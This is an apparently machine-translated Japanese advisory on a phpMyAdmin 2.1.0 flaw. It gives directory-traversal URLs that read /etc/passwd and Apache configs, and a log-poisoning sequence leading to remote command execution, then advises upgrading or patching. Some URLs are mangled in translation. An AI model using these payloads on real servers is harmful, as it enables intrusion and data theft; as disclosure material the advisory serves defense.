phpMyAdmin ( http://www.phpwizard.net/projects/phpMyAdmin/ ) は、WEB ベースのインターフェイスを備えた、MySQL データベースを管理するための PHP ツールです。しかし、それには抜け穴があることが判明した。必要に応じて、新しくリリースされた安定バージョン:
phpMyAdmin 2.2.0 をインストールします。
1. ディレクトリ トラバーサルの脆弱性
攻撃者は次の URL を提供します:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/passwd&btnDrop=No (*)
http://www. .com/phpMyAdmin/tbl_replace.php?db=test&table=ess&goto=/etc/passwd
システム ファイルに不正にアクセスできる
問題のあるコードは次のとおりです: sql.php と tbl_replace 内の 'include($goto);'。
2. 攻撃者によるコード実行の脆弱性
攻撃者は、グローバルに書き込み可能なログ ファイルを使用することにより、影響を受けるサーバー上で任意のコードを実行することができます。
まず、Apache 設定ファイルを取得して、ログ ファイルが保存されている場所を確認します:
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/httpd.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/etc/apache/conf/srm.conf&btnDrop=No
http://www.example.com/phpMyAdmin/sql.php?goto=/ etc/apache/ conf/access.conf&btnDrop=No
ログが次の場所に配置されていることがわかります:
/var/log/httpd/error_log
/var/log/httpd/access_log
次に、ポート 80 に Telnet します
# telnet www.example.com 80
xxx.xxx.xxx.xxx を試行しています...
www.example.com に接続しています。
GET
^]
telnet> 接続が終了しました。 #
GET リクエストの後、攻撃者は任意の PHP コードをアップロードできます
これで、Apache ユーザーとしてコマンドをリモートで実行できるようになります:
http://www.example.com/phpMyAdmin/sql.php?goto=/var/log /httpd/
access_log&btnDrop= No?meters=ls%20-l%20/
影響を受けるシステム:
phpMyAdmin 2.1.0
解決策:
提案:
1. phpMyAdmin 2.2.0 を使用します
http://prdownloads.sourceforge。 net/phpmyadmin/ phpMyAdmin-2.2.0-php.tar.gz
2. ユーザーがパッチをダウンロードしてインストールします:
http://www.securereality.com.au/patches/phpMyAdmin-SecureReality.diff
抜粋: 52w .net
http://www.bkjia.com/PHPjc/629808.html
www.bkjia.com